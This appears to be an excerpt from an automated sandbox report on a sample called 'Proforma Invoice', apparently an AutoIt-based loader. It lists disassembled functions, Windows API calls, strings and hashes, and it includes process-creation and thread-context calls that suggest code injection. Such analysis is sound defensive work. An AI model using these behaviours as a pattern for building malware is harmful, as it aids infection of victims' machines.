Instruction ID: 91ff7aaca695140aa5d6a9992adf4c92775941ee288617f7a9d343e0d59eb40e
Opcode Fuzzy Hash: a9f53189233c1fbde1c3a088832bb39a653d666e2166f864ab34826884149aee
Instruction Fuzzy Hash: 093169B1801349AFDB20CFA4EC89A9DBFF0FB09310F14816EE581E62A1D3B90581CF95

Function 006A3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 006A3074
RegisterClassExW.USER32(00000030), ref: 006A309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006A30AF
InitCommonControlsEx.COMCTL32(?), ref: 006A30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006A30DC
LoadIconW.USER32(000000A9), ref: 006A30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 006A3101

Strings

AutoIt v3 GUI, xrefs: 006A3090
+, xrefs: 006A305D
0, xrefs: 006A3056
TaskbarCreated, xrefs: 006A30A4

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 67b3554e4b685ffe03b7de6bc580afe20a4b4a682a78f1e98b57b3e10602873c
Instruction ID: 9b33baf5ac665f04bb10be27befed2f5566b8bf1531c3230688452d61b9dcf32
Opcode Fuzzy Hash: 67b3554e4b685ffe03b7de6bc580afe20a4b4a682a78f1e98b57b3e10602873c
Instruction Fuzzy Hash: C121F4B1D01319AFDB10DFA4EC88B9DBBF4FB08700F00812AF911A72A0D7B945459F99

Function 006A708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006A4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,007652F8,?,006A37AE,?), ref: 006A4724

Part of subcall function 006C050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,006A7165), ref: 006C052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 006A71A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 006DE8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 006DE909
RegCloseKey.ADVAPI32(?), ref: 006DE947
_wcscat.LIBCMT ref: 006DE9A0

Strings

Include, xrefs: 006DE8BF, 006DE900
\, xrefs: 006DE9C3
Software\AutoIt v3\AutoIt, xrefs: 006A719E
\Include\, xrefs: 006A7165

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: d403fc79562830715bad77b56e2bf873b41ea146b0bf39007165794ff3a88dc6
Instruction ID: df8f345167d3679f44985e01a114833cb815756f54c02b9ebcad0cd6e2b85de9
Opcode Fuzzy Hash: d403fc79562830715bad77b56e2bf873b41ea146b0bf39007165794ff3a88dc6
Instruction Fuzzy Hash: 0A71A1715093019EC340EF25EC619ABBBF9FF89310F80452EF446872A1EBB59949CF99

Function 006A3633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 006A36D2
KillTimer.USER32(?,00000001), ref: 006A36FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 006A371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006A372A
CreatePopupMenu.USER32 ref: 006A373E
PostQuitMessage.USER32(00000000), ref: 006A374D

Strings

%s, xrefs: 006DD081, 006DD0CF
TaskbarCreated, xrefs: 006A3725

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated$%s
API String ID: 129472671-2167414192
Opcode ID: 5dd938f6983c46b5de7ca870396191a95b9ea591777b376bba2534b2ce4e6456
Instruction ID: 5fcfb35590a680e500fd6727a16f9f35716c2b66682487ed3c885d4dfbe062cc
Opcode Fuzzy Hash: 5dd938f6983c46b5de7ca870396191a95b9ea591777b376bba2534b2ce4e6456
Instruction Fuzzy Hash: EF412BB1200615BBDB207F68DC19BB93797EB46300F504139F503963A1CAA9AE46AB7D

Function 006A3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 006A3A50
LoadCursorW.USER32(00000000,00007F00), ref: 006A3A5F
LoadIconW.USER32(00000063), ref: 006A3A76
LoadIconW.USER32(000000A4), ref: 006A3A88
LoadIconW.USER32(000000A2), ref: 006A3A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 006A3AC0
RegisterClassExW.USER32(?), ref: 006A3B16

Part of subcall function 006A3041: GetSysColorBrush.USER32(0000000F), ref: 006A3074
Part of subcall function 006A3041: RegisterClassExW.USER32(00000030), ref: 006A309E
Part of subcall function 006A3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006A30AF
Part of subcall function 006A3041: InitCommonControlsEx.COMCTL32(?), ref: 006A30CC
Part of subcall function 006A3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006A30DC
Part of subcall function 006A3041: LoadIconW.USER32(000000A9), ref: 006A30F2
Part of subcall function 006A3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 006A3101

Strings

#, xrefs: 006A3AFB
AutoIt v3, xrefs: 006A3B05
0, xrefs: 006A3AF4

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: e06635936b282603f7cdd4514431b907771bccf4d886fa192a43ad09dc69d5ad
Instruction ID: 3edf072f5586a905bc5d0a88740ac9a0009f9a040859b48102939a4e878150a2
Opcode Fuzzy Hash: e06635936b282603f7cdd4514431b907771bccf4d886fa192a43ad09dc69d5ad
Instruction Fuzzy Hash: 112148B0D00308AFEB50DFA4EC19B9D7BB5FB08711F00812AF505A63A1D7F95A40AF88

Function 006A3766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMDLINE, xrefs: 006A3822
Rv, xrefs: 006DD213
/AutoIt3ExecuteLine, xrefs: 006A38A7
/AutoIt3ExecuteScript, xrefs: 006A38BC
CMDLINERAW, xrefs: 006A37FB
/ErrorStdOut, xrefs: 006A387D
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 006A37AE
/AutoIt3OutputDebug, xrefs: 006A3892

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$Rv
API String ID: 1825951767-750447493
Opcode ID: 988a71f8666291a7b6cdea9697af66d8b725e1ff33eda180b56288ebbca0b5a1
Instruction ID: d027bbd74fa850b6f5722699838ef4c0a7648fef121dfab1de870e66d83c2c0c
Opcode Fuzzy Hash: 988a71f8666291a7b6cdea9697af66d8b725e1ff33eda180b56288ebbca0b5a1
Instruction Fuzzy Hash: B4A12B719102299ACB44FBA4DC51EEEB77ABF56300F44052EF416A7291EF786E08CF64

Function 006AF76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006C0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 006C0193
Part of subcall function 006C0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 006C019B
Part of subcall function 006C0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 006C01A6
Part of subcall function 006C0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 006C01B1
Part of subcall function 006C0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 006C01B9
Part of subcall function 006C0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 006C01C1

Part of subcall function 006B60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,006AF930), ref: 006B6154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 006AF9CD
OleInitialize.OLE32(00000000), ref: 006AFA4A
CloseHandle.KERNEL32(00000000), ref: 006E45C8

Strings

\Tv, xrefs: 006AF7F7
<Wv, xrefs: 006AF930
Sv, xrefs: 006AF7EB
%s, xrefs: 006AF796, 006AF7A8, 006AF96E, 006AFA51

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <Wv$\Tv$%s$Sv
API String ID: 1986988660-112676513
Opcode ID: 2ac189c1f9b8bfea84fa0f8387540ffdc93671d12b8621dfc155905adec6216e
Instruction ID: 5feeae59f64708c26f01e7409d8d0f890eb9d1d77ffb3123836da2475f5987a2
Opcode Fuzzy Hash: 2ac189c1f9b8bfea84fa0f8387540ffdc93671d12b8621dfc155905adec6216e
Instruction Fuzzy Hash: D381CDB0901B808E8394DF3AA8446587FE6EB48346F50C1BED44BC7362EBFC4485AF19

Function 01E52600 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01E526D1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01E528F7

Memory Dump Source

Source File: 00000000.00000002.1769483837.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_Proforma Invoice.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction ID: 39a3732166c6091183f7e24a530f604858168cf24671acb1a25899126ede1807
Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction Fuzzy Hash: 5DA10874E00209EBDB54CFE4C894BEEBBB5FF48304F209559EA01BB281D7759A85CB94

Function 006A39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 006A3A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 006A3A24
ShowWindow.USER32(00000000,?,?), ref: 006A3A38
ShowWindow.USER32(00000000,?,?), ref: 006A3A41

Strings

edit, xrefs: 006A3A1E
AutoIt v3, xrefs: 006A39FB, 006A3A00, 006A3A01

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: ee3091a3783ef6aa8c4eee322719a3262ba8fd450a6a3d5bfe9717f7f2b81445
Instruction ID: cc94fbd3231b67fdb624306d4284ba95cbe18de8eaa20fab1edf4b4a49a36787
Opcode Fuzzy Hash: ee3091a3783ef6aa8c4eee322719a3262ba8fd450a6a3d5bfe9717f7f2b81445
Instruction Fuzzy Hash: 5BF03AB05007907EEA3057236C19E2B2E7DE7C6F60F00803EF901A2270C2A91841EAB8

Function 01E523B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 154
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01E522A0: Sleep.KERNELBASE(000001F4), ref: 01E522B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01E524F9

Strings

91NLS9MMVB8A4ZQGEEE2NZFPCU, xrefs: 01E5255C, 01E5255F

Memory Dump Source

Source File: 00000000.00000002.1769483837.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_Proforma Invoice.jbxd

Similarity

API ID: CreateFileSleep
String ID: 91NLS9MMVB8A4ZQGEEE2NZFPCU
API String ID: 2694422964-758164160
Opcode ID: 30c869f02ab03eda20b4b96f55c0cef5e20b9ac1b924e616b5ab162d19893847
Instruction ID: 81fa5218c1e54d73e670d0520bb06abd99e0755161863ce744202587cef1e680
Opcode Fuzzy Hash: 30c869f02ab03eda20b4b96f55c0cef5e20b9ac1b924e616b5ab162d19893847
Instruction Fuzzy Hash: FF619170D04289DBEF11DBF4C854BDEBBB9AF19304F004199E6497B2C1D6BA0B45CB66

Function 006A407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 006DD3D7

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

_memset.LIBCMT ref: 006A40FC
_wcscpy.LIBCMT ref: 006A4150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 006A4160

Strings

Line: , xrefs: 006DD400

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 84d2125b9be87bf60b3e2767f2b6f922f499cda40ac6dd65db4ecd442b2448b1
Instruction ID: ad9e112e3ac3763aef8f15568c1a5f4c30e9c28455f2dc9f24997118a1c2cbbd
Opcode Fuzzy Hash: 84d2125b9be87bf60b3e2767f2b6f922f499cda40ac6dd65db4ecd442b2448b1
Instruction Fuzzy Hash: 6131D2B10083006FD360FB60DC46FDB77DAAF56310F10451EF58692191DFB4AA48CB9A

Function 006C541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 006C547B
_memcpy_s.LIBCMT ref: 006C54ED
__read_nolock.LIBCMT ref: 006C554B
__filbuf.LIBCMT ref: 006C556E
_memset.LIBCMT ref: 006C55B2

Part of subcall function 006C8B28: __getptd_noexit.LIBCMT ref: 006C8B28

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: 632eea913904a1e660e9f6ad15d7ee9caaa66baa63a0371bc68d278117a9aac6
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: C4518170A00B059BDB289E69DC84FBE77A7EF40321F64862DE826963D0D770ADD18B44

Function 006A686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 006A4DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,007652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 006A4E0F

_free.LIBCMT ref: 006DE263
_free.LIBCMT ref: 006DE2AA

Part of subcall function 006A6A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 006A6BAD

Strings

Bad directive syntax error, xrefs: 006DE292
>>>AUTOIT SCRIPT<<<, xrefs: 006DE039

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: dc4be14319e70c8a071541eaea3b3a7fdf3b7f3b788b528f6d1621f2828d2fb1
Instruction ID: 46e3a7f39773f57026e2f2e96694f633f0f0b3f9f6cd78109177aeef38b52082
Opcode Fuzzy Hash: dc4be14319e70c8a071541eaea3b3a7fdf3b7f3b788b528f6d1621f2828d2fb1
Instruction Fuzzy Hash: CF915971D00219DFCF04EFA4CC919EDB7BABF15310B14442EE816AB2A1DB75AE15CB54

Function 006A35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,006A35A1,SwapMouseButtons,00000004,?), ref: 006A35D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,006A35A1,SwapMouseButtons,00000004,?,?,?,?,006A2754), ref: 006A35F5
RegCloseKey.KERNELBASE(00000000,?,?,006A35A1,SwapMouseButtons,00000004,?,?,?,?,006A2754), ref: 006A3617

Strings

Control Panel\Mouse, xrefs: 006A35D2

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 74b94b5e6496f2c008f7332a8c7b2491595e4f077c37937332f6a2bc7c278baa
Instruction ID: 18cabd61b01d4945fd39e605ad7bccf5de803e17b2ffd977bd4388cec5cf3467
Opcode Fuzzy Hash: 74b94b5e6496f2c008f7332a8c7b2491595e4f077c37937332f6a2bc7c278baa
Instruction Fuzzy Hash: CB114871910228BFDB209FA4DC40DEFB7B9EF05740F00A4AAF805D7310E2719E419B64

Function 01E512A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01E51ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01E51AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01E51B13

Memory Dump Source

Source File: 00000000.00000002.1769483837.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_Proforma Invoice.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
Instruction ID: e76a5a2c55f7bacf68a0dd08715d4ff1aae805b643caebdbeaafc69dd5d117e2
Opcode Fuzzy Hash: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
Instruction Fuzzy Hash: 2E622C30A14258DBEB64CFA4C850BDEB772EF58300F1091A9D60DEB390E7799E81CB59

Function 0070955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 006A4EE5: _fseek.LIBCMT ref: 006A4EFD

Part of subcall function 00709734: _wcscmp.LIBCMT ref: 00709824
Part of subcall function 00709734: _wcscmp.LIBCMT ref: 00709837

_free.LIBCMT ref: 007096A2
_free.LIBCMT ref: 007096A9
_free.LIBCMT ref: 00709714

Part of subcall function 006C2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,006C9A24), ref: 006C2D69
Part of subcall function 006C2D55: GetLastError.KERNEL32(00000000,?,006C9A24), ref: 006C2D7B

_free.LIBCMT ref: 0070971C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 6cef8eb787e4e551deb87a41cfcc5f328edab007a71f9a3129ff1eb0514b26a6
Instruction ID: 9d086f14fb7afe964586eb2f40604756c24fc509311c8cfbb01f654c5d4c2abc
Opcode Fuzzy Hash: 6cef8eb787e4e551deb87a41cfcc5f328edab007a71f9a3129ff1eb0514b26a6
Instruction Fuzzy Hash: 965142B1914218EFDF549F64CC85AAEBBBAEF88300F10459EF609A3241DB755D90CF58

Function 006C470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006C47A0
__flush.LIBCMT ref: 006C47C0
__write.LIBCMT ref: 006C47F3
__flsbuf.LIBCMT ref: 006C4821

Part of subcall function 006C8B28: __getptd_noexit.LIBCMT ref: 006C8B28

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

